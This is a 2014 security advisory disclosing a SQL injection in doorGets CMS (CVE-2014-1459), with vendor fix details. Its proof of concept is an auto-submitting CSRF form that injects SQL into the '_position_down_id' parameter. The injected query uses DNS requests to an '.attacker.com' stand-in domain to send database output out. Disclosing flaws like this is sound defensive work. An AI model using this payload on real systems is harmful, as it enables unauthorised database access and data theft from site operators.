Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in doorGets 
CMS, which can be exploited to perform SQL Injection attacks.


1) SQL Injection in doorGets CMS: CVE-2014-1459

The vulnerability exists due to insufficient validation of "_position_down_id" 
HTTP POST parameter passed to "/dg-admin/index.php" script. A remote attacker 
with access to administrative interface can execute arbitrary SQL commands in 
application's database. This vulnerability however can be exploited by a remote 
unauthenticated user via CSRF vector.

The following exploitation example is based on DNS Exfiltration technique and 
may be used if the database of the vulnerable application is hosted on a 
Windows system. The PoC will use a CSRF vector to send a DNS request demanding 
IP addess for `version()` (or any other sensetive output from the database) 
subdomain of ".attacker.com" (a domain name, DNS server of which is controlled 
by the attacker):


<form action="http://[host]/dg-admin/?controller=rubriques"; method="post" 
name="main">
<input type="hidden" name="_position_down_id" value="1 AND 1=(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 -- ">
<input type="hidden" name="_position_down_position" value="1">
<input type="hidden" name="_position_down_submit" value="1">
<input type="hidden" name="_position_down_type" value="down">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>

Solution:

Fixed by vendor on January 15, 2014 directly in the source code without version 
modification/new release. Update to the version 5.2 released after January 15, 
2014.
